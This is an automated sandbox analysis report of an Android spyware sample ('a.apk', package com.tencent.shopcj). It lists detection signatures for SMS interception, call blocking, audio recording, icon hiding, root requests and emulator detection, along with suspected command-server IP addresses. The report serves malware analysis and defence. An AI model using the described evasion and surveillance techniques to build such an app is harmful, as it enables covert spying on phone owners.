Loading Joe Sandbox Report ...

Edit tour

Android Analysis Report
a.apk

Overview

General Information

Sample Name:a.apk
Analysis ID:895672
MD5:2f371969faf2dc239206e81d00c579ff
SHA1:0ad5289c6b7a438e3970149b183e74b89f534109
SHA256:b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Sample is protected by DexPro
Yara detected apk with invalid zip compression
Tries to detect the analysis device (e.g. the Android emulator)
Access the class loader (often done to load a new code)
Removes its application launcher (likely to stay hidden)
Drops a new dex file
Requests to ignore battery optimizations
Starts an activity on device admin enabled
Tries to detect Android x86
Queries the device phone number (MSISDN)
Starts/registers a service/receiver on device admin enabled
Ends incoming calls
Requests permissions only permitted to signed APKs
Queries the SIM provider numeric MCC+MNC (mobile country code + mobile network code)
Queries list of running processes/tasks
Redirects camera/video feed
Queries SMS data
Queries media storage location field
Starts an activity on phone boot (autostart)
Starts/registers a service/receiver on phone boot (autostart)
Checks if phone is rooted (checks for Superuser.apk)
Queries the SIM provider name (SPN - Service Provider Name)
Found parser code for incoming SMS (may be used to act on incoming SMS, BOT)
Has permission to read the SMS storage
Installs a new wake lock (to get activate on phone screen on)
Queries phone contact information
Found suspicious command strings (may be related to BOT commands)
Monitors incoming SMS
Sends SMS using SmsManager
Checks an internet connection is available
Queries list of installed packages
Creates SMS data (e.g. PDU)
Requests potentially dangerous permissions
Has an unnatural receiver priority (often indicator for malware)
Requests root access
Checks if phone is rooted (checks for test-keys build tags)
Reads the incoming call number
May block phone calls / Accesses private ITelephony interface
Opens an internet connection
Queries the network operator name
May access the Android keyguard (lock screen)
Aborts a broadcast event (this is often done to hide phone events such as incoming SMS)
Parses SMS data (e.g. originating address)
Has permission to receive SMS in the background
Lists and deletes files in the same context
Queries a list of installed applications
Has permission to read contacts
Requests permissions only permitted to signed APKs or APKs which are within the system image
Queries the network operator ISO country code
Detected TCP or UDP traffic on non-standard ports
Has permission to draw over other applications or user interfaces
Has permission to delete other packages
Queries the unqiue device ID (IMEI, MEID or ESN)
Has permission to read the phones state (phone number, device IDs, active call ect.)
Kills/terminates processes
Queries the device software version
Queries the SIM provider ISO country code
Might use exploit to break dedexer tools
Tries to add a new device administrator
Accesses android OS build fields
Executes native commands
Queries MMS data
Checks if the device administrator is active
Has permission to change the WIFI configuration including connecting and disconnecting
Performs DNS lookups (Java API)
Records audio/media
Queries the network operator numeric MCC+MNC (mobile country code + mobile network code)
Queries several sensitive phone informations
Has permission to send SMS in the background
Queries the unique operating system id (ANDROID_ID)
Has permission to query the list of currently running applications
Has permission to execute code after phone reboot
Uses reflection

Classification

SourceRuleDescriptionAuthorStrings
a.apkJoeSecurity_apk_invalid_zip_compressionYara detected apk with invalid zip compressionJoe Security
    No Snort rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: a.apkVirustotal: Detection: 12%Perma Link
    Source: fixed-a.apkCode Location: Landroid/support/coreui/app/_;.a(I)[C

    Privilege Escalation

    barindex
    Source: com.tencent.shopcj.receiver.MyDeviceAdminReceiver;->onDisabled:19API Call: android.content.Context.startActivity (not executed)
    Source: com.tencent.shopcj.receiver.MyDeviceAdminReceiver;->onEnabled:26API Call: android.content.Context.startActivity (not executed)
    Source: com.tencent.shopcj.receiver.MyDeviceAdminReceiver;->onEnabled:30API Call: android.content.Context.startActivity (not executed)
    Source: com.tencent.shopcj.receiver.MyDeviceAdminReceiver;->startService:10API Call: android.content.Context.startService (not executed)
    Source: com.tencent.shopcj.ui.AdminActivity;->getRootAhth:5API Call: java.lang.Runtime.exec ("su")
    Source: Landroid/support/coreui/app/_;->isRooted()ZMethod string: "/system/xbin/su"
    Source: com.tencent.shopcj.ui.AdminActivity;->onCreate:53API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN
    Source: Lcom/tencent/shopcj/ui/AdminActivity;->onCreate(Landroid/os/Bundle;)VMethod string: "android.app.action.ADD_DEVICE_ADMIN"
    Source: com.tencent.shopcj.ui.AdminActivity;->onCreate:45API Call: android.app.admin.DevicePolicyManager.isAdminActive
    Source: com.tencent.shopcj.ui.AdminActivity;->onDestroy:63API Call: android.app.admin.DevicePolicyManager.isAdminActive
    Source: com.tencent.shopcj.receiver.MainReceiver;->onReceive:40API Call: android.app.admin.DevicePolicyManager.isAdminActive
    Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
    Source: com.tencent.shopcj.utils.MmsDatabaseChangeObserver;->getMmsBody:71API Call: android.os.Environment.getExternalStorageDirectory
    Source: com.tencent.shopcj.utils.MmsDatabaseChangeObserver;->saveImageToGallery:211API Call: android.os.Environment.getExternalStorageState
    Source: com.tencent.shopcj.utils.ProcessCommand$2;->run:3API Call: android.os.Environment.getExternalStorageDirectory
    Source: com.tencent.shopcj.receiver.NetworkReceiver;->onReceive:9API Call: android.net.ConnectivityManager.getActiveNetworkInfo
    Source: com.tencent.shopcj.receiver.NetworkReceiver;->onReceive:10API Call: android.net.NetworkInfo.isAvailable
    Source: com.tencent.shopcj.receiver.NetworkReceiver;->onReceive:22API Call: android.net.NetworkInfo.isAvailable
    Source: com.tencent.shopcj.receiver.NetworkReceiver;->onReceive:23API Call: android.net.NetworkInfo.isConnected
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->networkInfo:100API Call: android.net.ConnectivityManager.getNetworkInfo
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->networkInfo:102API Call: android.net.NetworkInfo.isAvailable
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->networkInfo:105API Call: android.net.NetworkInfo.isConnectedOrConnecting
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->networkInfo:120API Call: android.net.ConnectivityManager.getNetworkInfo
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->networkInfo:130API Call: android.net.NetworkInfo.isAvailable
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->networkInfo:133API Call: android.net.NetworkInfo.isConnectedOrConnecting
    Source: com.tencent.shopcj.websocket.MyWebSocketClient;->isNetConnect:35API Call: android.net.ConnectivityManager.getActiveNetworkInfo
    Source: com.tencent.shopcj.websocket.MyWebSocketClient;->isNetConnect:36API Call: android.net.NetworkInfo.isConnected
    Source: com.tencent.shopcj.websocket.MyWebSocketClient;->isNetConnect:37API Call: android.net.NetworkInfo.getState
    Source: com.neovisionaries.ws.client.SocketConnector;->doConnect:7API Call: java.net.Socket.connect (not executed)
    Source: org.java_websocket.client.WebSocketClient;->run:210API Call: java.net.Socket.connect (not executed)
    Source: com.tencent.shopcj.utils.HtmlService;->getHtml:8API Call: java.net.URL.openConnection (not executed)
    Source: com.tencent.shopcj.utils.HtmlService;->getHtml:11API Call: java.net.URL.openConnection (not executed)
    Source: global trafficTCP traffic: 192.168.2.30:56068 -> 8.8.4.4:853
    Source: global trafficTCP traffic: 192.168.2.30:36076 -> 118.166.46.31:8081
    Source: com.alibaba.fastjson.serializer.MiscCodec;->deserialze:86API Call: java.net.InetAddress.getByName (not executed)
    Source: unknownNetwork traffic detected: HTTP traffic on port 39602 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 50870 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 35910
    Source: unknownNetwork traffic detected: HTTP traffic on port 35910 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 50458 -> 443
    Source: com.tencent.shopcj.utils.HttpUtils;->getPdu:4API Call: org.apache.http.client.HttpClient.execute
    Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
    Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
    Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
    Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
    Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.42
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 172.217.16.174
    Source: unknownTCP traffic detected without corresponding DNS query: 108.177.15.188
    Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
    Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 103.151.229.87
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 103.151.229.87
    Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 103.151.229.87
    Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 216.58.212.170
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 142.250.186.163
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: unknownTCP traffic detected without corresponding DNS query: 118.166.46.31
    Source: dp.kotlin-v1.lua.mph.drString found in binary or memory: http://103.151.229.87/index.html
    Source: alias_icon.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
    Source: androidString found in binary or memory: http://www.android.com/
    Source: classes.dexString found in binary or memory: http://www.slf4j.org/codes.html
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#StaticLoggerBinder
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#loggerNameMismatch
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#multiple_bindings
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#no_static_mdc_binder
    Source: classes.dexString found in binary or memory: http://www.slf4j.org/codes.html#null_LF
    Source: classes.dexString found in binary or memory: http://www.slf4j.org/codes.html#null_LF)http://www.slf4j.org/codes.html#null_MDCA&http://www.slf4j.o
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#null_MDCA
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#replay
    Source: classes.dexString found in binary or memory: http://www.slf4j.org/codes.html#replay9See
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#substituteLogger
    Source: classes.dexString found in binary or memory: http://www.slf4j.org/codes.html#substituteLoggerKSee
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#unsuccessfulInit
    Source: classes.dex, androidString found in binary or memory: http://www.slf4j.org/codes.html#version_mismatch
    Source: classes.dexString found in binary or memory: http://www.slf4j.org/codes.html2http://www.slf4j.org/codes.html#StaticLoggerBinder2http://www.slf4j.
    Source: dp.kotlin-v1.lua.mph.drString found in binary or memory: https://github.com/TooTallNate/Java-WebSocket/wiki/Lost-connection-detection
    Source: dp.kotlin-v1.lua.mph.drString found in binary or memory: https://github.com/TooTallNate/Java-WebSocket/wiki/Lost-connection-detection2The
    Source: unknownHTTP traffic detected: POST /c2dm/register3 HTTP/1.1Authorization: AidLogin 3976102378291501644:1184905049225720946app: com.google.android.gmsgcm_ver: 210214031User-Agent: Android-GCM/1.5 (x86 PI)content-length: 477content-type: application/x-www-form-urlencodedHost: android.clients.google.comConnection: Keep-AliveAccept-Encoding: gzip
    Source: com.tencent.shopcj.utils.ProcessCommand$2;->run:46API Call: android.media.MediaRecorder.start
    Source: com.tencent.shopcj.utils.ProcessCommand$2;->run:24API Call: android.media.MediaRecorder.<init>
    Source: submitted apkRequest permission: android.permission.GET_TASKS

    Spam, unwanted Advertisements and Ransom Demands

    barindex
    Source: com.android.internal.telephony.ITelephony$Stub;->onTransact:15API Call: com.android.internal.telephony.ITelephony$Stub.answerRingingCall
    Source: com.android.internal.telephony.ITelephony$Stub;->onTransact:18API Call: com.android.internal.telephony.ITelephony$Stub.endCall
    Source: com.tencent.shopcj.utils.ProcessCommand;->sendSms:127API Call: android.telephony.SmsManager.sendMultipartTextMessage
    Source: com.tencent.shopcj.utils.PhoneMonitor;->getITelephony:80API Call: java.lang.Class.getDeclaredMethod("getITelephony")
    Source: submitted apkRequest permission: android.permission.SEND_SMS
    Source: android.support.coreui.app.__;->deleteDirectory:17API Calls in same method context: File.listFiles,File.delete
    Source: android.support.coreui.app.a.a;->clearOldDexDir:82API Calls in same method context: File.listFiles,File.delete
    Source: android.support.coreui.app.__;->deleteFolder:41API Calls in same method context: File.listFiles,File.delete
    Source: android.support.coreui.app.a.b;->prepareDexDir:359API Calls in same method context: File.listFiles,File.delete
    Source: android.support.coreui.app.__;->deleteFolderContent:45API Calls in same method context: File.listFiles,File.delete
    Source: submitted apkRequest permission: android.permission.DELETE_PACKAGES
    Source: dp.kotlin-v1.lua.mph.drString found in binary or memory: Landroid/app/KeyguardManager;
    Source: dp.kotlin-v1.lua.mph.drString found in binary or memory: inKeyguardRestrictedInputMode
    Source: dp.kotlin-v1.lua.mph.drString found in binary or memory: keyguard
    Source: com.tencent.shopcj.service.MainService;->lockPower:48API Call: android.os.PowerManager$WakeLock.acquire
    Source: com.tencent.shopcj.utils.PhoneMonitor$1;->onReceive:54API Call: android.media.AudioManager.setRingerMode("0")

    System Summary

    barindex
    Source: Lcom/tencent/shopcj/main/MyApplication;->ignoreBatteryOptimization()VMethod string: "android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"
    Source: submitted apkRequest permission: android.permission.BROADCAST_WAP_PUSH
    Source: submitted apkRequest permission: android.permission.DEVICE_POWER
    Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
    Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
    Source: submitted apkRequest permission: android.permission.GET_TASKS
    Source: submitted apkRequest permission: android.permission.INTERNET
    Source: submitted apkRequest permission: android.permission.READ_CONTACTS
    Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
    Source: submitted apkRequest permission: android.permission.READ_SMS
    Source: submitted apkRequest permission: android.permission.RECEIVE_MMS
    Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
    Source: submitted apkRequest permission: android.permission.RECEIVE_WAP_PUSH
    Source: submitted apkRequest permission: android.permission.REORDER_TASKS
    Source: submitted apkRequest permission: android.permission.SEND_SMS
    Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
    Source: submitted apkRequest permission: android.permission.WAKE_LOCK
    Source: submitted apkRequest permission: android.permission.WRITE_APN_SETTINGS
    Source: submitted apkRequest permission: android.permission.WRITE_CONTACTS
    Source: submitted apkRequest permission: android.permission.DELETE_PACKAGES
    Source: android.support.coreui.app.__;->killAppProcesses:188API Call: android.os.Process.killProcess
    Source: android.support.coreui.app.__;->killAppProcesses:201API Call: android.os.Process.killProcess
    Source: com.tencent.shopcj.ui.AdminActivity;->getRootAhth:5API Call: java.lang.Runtime.exec ("su")
    Source: android.support.coreui.app._;->showWelcomeMessage:118API Call: android.content.SharedPreferences.getBoolean
    Source: com.tencent.shopcj.utils.DeviceUuidFactory;-><init>:8API Call: android.content.SharedPreferences.getString
    Source: classification engineClassification label: mal100.rans.spyw.evad.andAPK@0/253@0/0

    Data Obfuscation

    barindex
    Source: Landroid/support/coreui/app/_;-><init>(Landroid/content/Context;Ljava/lang/String;)VMethod string: "const-string v5, "DexProtect Security""
    Source: unknownAPI Call: Real call: public static android.app.ActivityThread android.app.ActivityThread.currentActivityThread()
    Source: unknownAPI Call: Real call: final android.util.ArrayMap android.app.ActivityThread.mPackages
    Source: unknownAPI Call: Real call: private java.lang.ClassLoader android.app.LoadedApk.mClassLoader
    Source: unknownAPI Call: Real call: private java.lang.ClassLoader android.app.LoadedApk.mClassLoader
    Source: unknownAPI Call: Real call: private final dalvik.system.DexPathList dalvik.system.BaseDexClassLoader.pathList
    Source: unknownAPI Call: Real call: private dalvik.system.DexPathList$Element[] dalvik.system.DexPathList.dexElements
    Source: unknownAPI Call: Real call: private static dalvik.system.DexPathList$Element[] dalvik.system.DexPathList.makePathElements(java.util.List,java.io.File,java.util.List)
    Source: unknownAPI Call: Real call: public static android.app.ActivityThread android.app.ActivityThread.currentActivityThread()
    Source: unknownAPI Call: Real call: android.app.ActivityThread$AppBindData android.app.ActivityThread.mBoundApplication
    Source: unknownAPI Call: Real call: android.app.LoadedApk android.app.ActivityThread$AppBindData.info
    Source: unknownAPI Call: Real call: android.app.Application android.app.ActivityThread.mInitialApplication
    Source: unknownAPI Call: Real call: final java.util.ArrayList android.app.ActivityThread.mAllApplications
    Source: unknownAPI Call: Real call: private android.content.pm.ApplicationInfo android.app.LoadedApk.mApplicationInfo
    Source: unknownAPI Call: Real call: android.content.pm.ApplicationInfo android.app.ActivityThread$AppBindData.appInfo
    Source: unknownAPI Call: Real call: public android.app.Application android.app.LoadedApk.makeApplication(boolean,android.app.Instrumentation)
    Source: android.support.coreui.app.a.a$V14;->install:5API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app.a.a$V14;->makeDexElements:16API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.a.a$V19;->install:5API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app.a.a$V4;->install:6API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app.a.a$V19;->install:16API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app.a.a$V19;->makeDexElements:36API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.a.b;->apply:10API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.a.a;->expandFieldArray:108API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app._;->a:4API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app._;->a:10API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app._;-><init>:7API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app._;-><init>:11API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app._;->getSystemProperty:26API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app._;->ld:37API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app._;->ld:40API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app._;->ld:50API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app._;->getHelper:170API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app.__;->getApplication:68API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.__;->getApplication:74API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.__;->getApplication:79API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.__;->getRealScreenSize:115API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.__;->getRealScreenSize:121API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.__;->getRealScreenSize:130API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.__;->getRunningActivity:144API Call: java.lang.reflect.Method.invoke
    Source: android.support.coreui.app.__;->getRunningActivity:148API Call: java.lang.reflect.Field.get
    Source: android.support.coreui.app.__;->getRunningActivity:161API Call: java.lang.reflect.Field.get
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:14API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:19API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:24API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:29API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:31API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:33API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:39API Call: java.lang.reflect.Field.get
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:44API Call: java.lang.reflect.Field.get
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:49API Call: java.lang.reflect.Field.get
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:55API Call: java.lang.reflect.Field.get
    Source: com.alibaba.fastjson.parser.deserializer.FieldDeserializer;->setValue:57API Call: java.lang.reflect.Field.get
    Source: com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;->createInstance:144API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;->createInstance:155API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;->createInstance:180API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;->deserialze:388API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;->deserialze:401API Call: java.lang.reflect.Method.invoke
    Source: org.slf4j.helpers.SubstituteLogger;->log:113API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.serializer.MiscCodec;->deserialze:76API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.util.FieldInfo;->get:127API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.util.FieldInfo;->get:129API Call: java.lang.reflect.Field.get
    Source: com.alibaba.fastjson.util.FieldInfo;->set:145API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.util.TypeUtils;->castToDate:337API Call: java.lang.reflect.Method.invoke
    Source: com.alibaba.fastjson.util.TypeUtils;->castToDate:346API Call: java.lang.reflect.Method.invoke
    Source: com.tencent.shopcj.utils.PhoneMonitor;->getITelephony:84API Call: java.lang.reflect.Method.invoke

    Persistence and Installation Behavior

    barindex
    Source: Android AppFile dump: /data/user/0/wyija.utykuvr.uwpexgh/app_mph_dex/dp.kotlin-v1.lua.mphJump to dropped file
    Source: com.tencent.shopcj.receiver.MainReceiver;->startAdminActivity:4API Call: android.content.Context.startActivity (not executed)
    Source: com.tencent.shopcj.receiver.MainReceiver;->startAppByPackageName:30API Call: android.content.Context.startActivity (not executed)
    Source: com.tencent.shopcj.receiver.MainReceiver;->onReceive:44API Call: android.content.Context.startService (not executed)
    Source: com.tencent.shopcj.receiver.MainReceiver;->onReceive:53API Call: android.content.Context.startService (not executed)
    Source: com.tencent.shopcj.receiver.MainReceiver;->onReceive:58API Call: android.content.Context.startService (not executed)
    Source: com.tencent.shopcj.receiver.MainReceiver;->onReceive:61API Call: android.content.Context.startService (not executed)
    Source: com.tencent.shopcj.service.MainService;->lockPower:44API Call: android.os.PowerManager.newWakeLock
    Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED

    Hooking and other Techniques for Hiding and Protection

    barindex
    Source: com.tencent.shopcj.ui.AliasMainActivity;->onCreate:21API Call: android.content.pm.PackageManager.setComponentEnabledSetting
    Source: com.tencent.shopcj.ui.MainActivity;->onCreate:51API Call: android.content.pm.PackageManager.setComponentEnabledSetting
    Source: com.tencent.shopcj.utils.AppIconUtil;->disableComponent:4API Call: android.content.pm.PackageManager.setComponentEnabledSetting
    Source: android.support.coreui.app.__;->killAppProcesses:177API Call: android.app.ActivityManager.getRunningAppProcesses
    Source: com.tencent.shopcj.receiver.SmsReceiver;->onReceive:146API Call: com.tencent.shopcj.receiver.SmsReceiver.abortBroadcast
    Source: com.tencent.shopcj.utils.SMSMonitor$1;->onReceive:37API Call: com.tencent.shopcj.utils.SMSMonitor$1.abortBroadcast
    Source: com.tencent.shopcj.utils.SMSMonitor$1;->onReceive:52API Call: com.tencent.shopcj.utils.SMSMonitor$1.abortBroadcast
    Source: com.tencent.shopcj.utils.SMSMonitor$1;->onReceive:65API Call: com.tencent.shopcj.utils.SMSMonitor$1.abortBroadcast
    Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
    Source: submitted apkRequest permission: android.permission.GET_TASKS
    Source: android.support.coreui.app._;->x:281API Call: java.security.MessageDigest.getInstance
    Source: android.support.coreui.app._;->x:283API Call: java.security.MessageDigest.update
    Source: android.support.coreui.app._;->x:284API Call: java.security.MessageDigest.digest
    Source: com.neovisionaries.ws.client.HandshakeReader;->validateAccept:68API Call: java.security.MessageDigest.getInstance
    Source: com.neovisionaries.ws.client.HandshakeReader;->validateAccept:70API Call: java.security.MessageDigest.digest
    Source: org.java_websocket.drafts.Draft_6455;->generateFinalKey:117API Call: java.security.MessageDigest.getInstance
    Source: org.java_websocket.drafts.Draft_6455;->generateFinalKey:119API Call: java.security.MessageDigest.digest

    Malware Analysis System Evasion

    barindex
    Source: Yara matchFile source: a.apk, type: SAMPLE
    Source: Landroid/support/coreui/app/_;->isEmulator()ZMethod string: "Emulator"
    Source: Landroid/support/coreui/app/_;->isEmulator()ZMethod string: "Android SDK built for x86"
    Source: android.support.coreui.app._;->isEmulator:30Field Access: android.os.Build.FINGERPRINT
    Source: android.support.coreui.app._;->isEmulator:32Field Access: android.os.Build.FINGERPRINT
    Source: android.support.coreui.app._;->isEmulator:36Field Access: android.os.Build.MODEL
    Source: android.support.coreui.app._;->isEmulator:38Field Access: android.os.Build.MODEL
    Source: android.support.coreui.app._;->isEmulator:41Field Access: android.os.Build.MODEL
    Source: android.support.coreui.app._;->isEmulator:44Field Access: android.os.Build.MANUFACTURER
    Source: android.support.coreui.app._;->isEmulator:47Field Access: android.os.Build.BRAND
    Source: android.support.coreui.app._;->isEmulator:49Field Access: android.os.Build.DEVICE
    Source: android.support.coreui.app._;->isEmulator:51Field Access: android.os.Build.PRODUCT
    Source: android.support.coreui.app._;->getAbi:163Field Access: android.os.Build.CPU_ABI
    Source: android.support.coreui.app._;->isRooted:256Field Access: android.os.Build.TAGS
    Source: com.tencent.shopcj.bean.DeviceOnlineRequest$DeviceOnline;-><init>:4Field Access: android.os.Build.MODEL
    Source: com.tencent.shopcj.bean.DeviceOnlineRequest$DeviceOnline;-><init>:5Field Access: android.os.Build$VERSION.RELEASE
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->phoneInfo:142Field Access: android.os.Build.BRAND
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->phoneInfo:145Field Access: android.os.Build.MODEL
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->systemInfo:160Field Access: android.os.Build$VERSION.RELEASE
    Source: Lorg/slf4j/LoggerFactory;->isAndroid()ZMethod string: "android"
    Source: Lcom/tencent/shopcj/utils/PhoneMonitor;->uploadCallRecord(Ljava/lang/String;)VMethod string: "type"
    Source: Lcom/tencent/shopcj/utils/DeviceUtils;->getNetName(Landroid/content/Context;)Ljava/lang/String;Method string: "phone"
    Source: Lcom/alibaba/fastjson/serializer/JSONLibDataFormatSerializer;->write(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)VMethod string: "time"
    Source: android.support.coreui.app._;->getBuildSerial:19API Call: android.provider.Settings$Secure.getString
    Source: com.tencent.shopcj.utils.DeviceUuidFactory;-><init>:12API Call: android.provider.Settings$Secure.getString

    Anti Debugging

    barindex
    Source: unknownAPI Call: java.lang.Class.getDeclaredField("mClassLoader")
    Source: unknownAPI Call: java.lang.Class.getDeclaredField("mClassLoader")

    Language, Device and Operating System Detection

    barindex
    Source: com.tencent.shopcj.utils.PhoneMonitor$1;->onReceive:28API Call: android.content.Intent.getStringExtra
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:63API Call: android.telephony.TelephonyManager.getSimOperator
    Source: android.support.coreui.app._;->isRooted:260API Call: java.io.File.<init>("/system/app/Superuser.apk")
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:66API Call: android.telephony.TelephonyManager.getSimOperatorName
    Source: android.support.coreui.app._;->isRooted:258API Call: java.lang.String.contains("test-keys")
